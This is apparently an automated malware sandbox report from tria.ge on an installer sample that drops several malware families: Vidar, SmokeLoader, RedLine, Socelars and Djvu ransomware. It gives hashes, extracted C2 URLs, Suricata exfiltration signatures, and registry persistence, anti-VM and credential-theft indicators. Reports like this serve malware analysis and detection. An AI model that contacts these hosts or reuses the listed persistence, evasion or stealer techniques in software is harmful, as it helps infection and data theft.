Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
09/09/2021, 17:41
210909-v9lgtabfhq 1009/09/2021, 04:26
210909-e21nrsfee3 1008/09/2021, 21:37
210908-1gnpcsfbc9 1008/09/2021, 21:29
210908-1bx1vafbc5 1008/09/2021, 13:52
210908-q6fd6shgdj 1007/09/2021, 18:07
210907-wqa3eagcgr 10Analysis
-
max time kernel
149s -
max time network
609s -
platform
windows7_x64 -
resource
win7-fr -
submitted
09/09/2021, 17:41
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
General
-
Target
setup_x86_x64_install.exe
-
Size
2.9MB
-
MD5
3f1f81101d0ce95fdfac97f5913cd662
-
SHA1
8e615a64e4d72b08926242b7d73a608bdd7e9fce
-
SHA256
90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407
-
SHA512
a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285
Malware Config
Extracted
vidar
40.5
706
https://gheorghip.tumblr.com/
-
profile_id
706
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Extracted
vidar
40.5
916
https://gheorghip.tumblr.com/
-
profile_id
916
Signatures
-
Detected Djvu ransomeware 1 IoCs
resource yara_rule behavioral2/memory/332-363-0x0000000004540000-0x000000000465B000-memory.dmp family_djvu -
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2032 1756 rundll32.exe 22 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2188 1756 rundll32.exe 22 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 3 IoCs
resource yara_rule behavioral2/files/0x0001000000012f18-141.dat family_socelars behavioral2/files/0x0001000000012f18-157.dat family_socelars behavioral2/files/0x0001000000012f18-167.dat family_socelars -
resource yara_rule behavioral2/files/0x0001000000012f1c-123.dat redline behavioral2/files/0x0001000000012f1c-138.dat redline behavioral2/files/0x0001000000012f1c-137.dat redline behavioral2/files/0x0001000000012f1c-152.dat redline -
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
-
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/320-184-0x0000000000400000-0x0000000002BB2000-memory.dmp family_vidar behavioral2/memory/2960-229-0x0000000000400000-0x0000000002BB2000-memory.dmp family_vidar -
resource yara_rule behavioral2/files/0x0002000000012f0a-72.dat aspack_v212_v242 behavioral2/files/0x0002000000012f0a-71.dat aspack_v212_v242 behavioral2/files/0x0001000000012f10-70.dat aspack_v212_v242 behavioral2/files/0x0001000000012f10-69.dat aspack_v212_v242 behavioral2/files/0x0001000000012f12-76.dat aspack_v212_v242 behavioral2/files/0x0001000000012f12-75.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 46807GHF____.exe -
Executes dropped EXE 42 IoCs
pid Process 2028 setup_installer.exe 1820 setup_install.exe 1544 Tue11d7385a978cc.exe 632 Tue11b9d76a96506.exe 1980 Tue11f251db82fb7b.exe 1468 Tue1109eec571ac.exe 1596 Tue11e4e580f2e8141a3.exe 1840 Tue11bc0507b56295.exe 1696 Tue11141271fbe5877f.exe 756 Tue118f55232e4.exe 1972 Tue11b9d76a96506.tmp 320 Tue112c483dd3245d.exe 2288 46807GHF____.exe 2604 LzmwAqmV.exe 2840 3590264.exe 2852 Chrome 5.exe 2932 PublicDwlBrowser1100.exe 2960 Alfanewfile2.exe 3000 2.exe 3044 setup.exe 2212 setup_2.exe 1604 3002.exe 2492 setup_2.tmp 1812 setup_2.exe 2624 jhuuee.exe 1776 3321391.exe 2420 BearVpn 3.exe 1576 setup_2.tmp 2576 3002.exe 1572 ultramediaburner.exe 2748 ultramediaburner.tmp 2104 UltraMediaBurner.exe 2264 795168.exe 2668 Waeneqyjabo.exe 2072 8104582.exe 2652 Serohikaego.exe 2708 gZ9~4qZ~O.EXE 1720 5697799.exe 2204 4690056.exe 2268 services64.exe 2932 sihost64.exe 1604 3073.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 795168.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 795168.exe -
Loads dropped DLL 64 IoCs
pid Process 1992 setup_x86_x64_install.exe 2028 setup_installer.exe 2028 setup_installer.exe 2028 setup_installer.exe 2028 setup_installer.exe 2028 setup_installer.exe 2028 setup_installer.exe 1820 setup_install.exe 1820 setup_install.exe 1820 setup_install.exe 1820 setup_install.exe 1820 setup_install.exe 1820 setup_install.exe 1820 setup_install.exe 1820 setup_install.exe 1996 cmd.exe 1536 cmd.exe 904 cmd.exe 960 cmd.exe 960 cmd.exe 632 Tue11b9d76a96506.exe 632 Tue11b9d76a96506.exe 824 cmd.exe 824 cmd.exe 1540 cmd.exe 1540 cmd.exe 1468 Tue1109eec571ac.exe 1468 Tue1109eec571ac.exe 1336 cmd.exe 2044 cmd.exe 632 Tue11b9d76a96506.exe 1840 Tue11bc0507b56295.exe 1840 Tue11bc0507b56295.exe 1960 cmd.exe 1960 cmd.exe 320 Tue112c483dd3245d.exe 320 Tue112c483dd3245d.exe 1972 Tue11b9d76a96506.tmp 1972 Tue11b9d76a96506.tmp 1972 Tue11b9d76a96506.tmp 756 Tue118f55232e4.exe 756 Tue118f55232e4.exe 1972 Tue11b9d76a96506.tmp 2604 LzmwAqmV.exe 2604 LzmwAqmV.exe 1544 Tue11d7385a978cc.exe 1544 Tue11d7385a978cc.exe 2804 WerFault.exe 2804 WerFault.exe 2804 WerFault.exe 2604 LzmwAqmV.exe 2604 LzmwAqmV.exe 2604 LzmwAqmV.exe 2604 LzmwAqmV.exe 2960 Alfanewfile2.exe 2960 Alfanewfile2.exe 2604 LzmwAqmV.exe 2604 LzmwAqmV.exe 2604 LzmwAqmV.exe 3044 setup.exe 2804 WerFault.exe 1824 rundll32.exe 1824 rundll32.exe 1824 rundll32.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3620 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Microsoft Analysis Services\\Fesavocaqe.exe\"" 46807GHF____.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 795168.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 165 api.2ip.ua 167 api.2ip.ua 66 ip-api.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2264 795168.exe -
Drops file in Program Files directory 12 IoCs
description ioc Process File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-4SAM3.tmp ultramediaburner.tmp File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\Microsoft Analysis Services\Fesavocaqe.exe.config 46807GHF____.exe File created C:\Program Files (x86)\Microsoft Analysis Services\Fesavocaqe.exe 46807GHF____.exe File created C:\Program Files (x86)\FarLabUninstaller\is-G555P.tmp setup_2.tmp File created C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe 46807GHF____.exe File created C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe.config 46807GHF____.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-BAIA4.tmp ultramediaburner.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2804 320 WerFault.exe 51 2724 3000 WerFault.exe 70 2020 2840 WerFault.exe 67 3660 2072 WerFault.exe 97 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Tue11bc0507b56295.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Tue11bc0507b56295.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Tue11bc0507b56295.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Alfanewfile2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Alfanewfile2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1716 schtasks.exe 2376 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2576 timeout.exe -
Kills process with taskkill 5 IoCs
pid Process 2532 taskkill.exe 2744 taskkill.exe 2524 taskkill.exe 2848 taskkill.exe 2488 taskkill.exe -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FF25A250-1194-11EC-8D93-46520115B3DE} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Alfanewfile2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Tue118f55232e4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Tue118f55232e4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Tue11141271fbe5877f.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tue11141271fbe5877f.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tue11141271fbe5877f.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Alfanewfile2.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 40 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 72 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1840 Tue11bc0507b56295.exe 1840 Tue11bc0507b56295.exe 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1876 powershell.exe 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found 1240 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1240 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
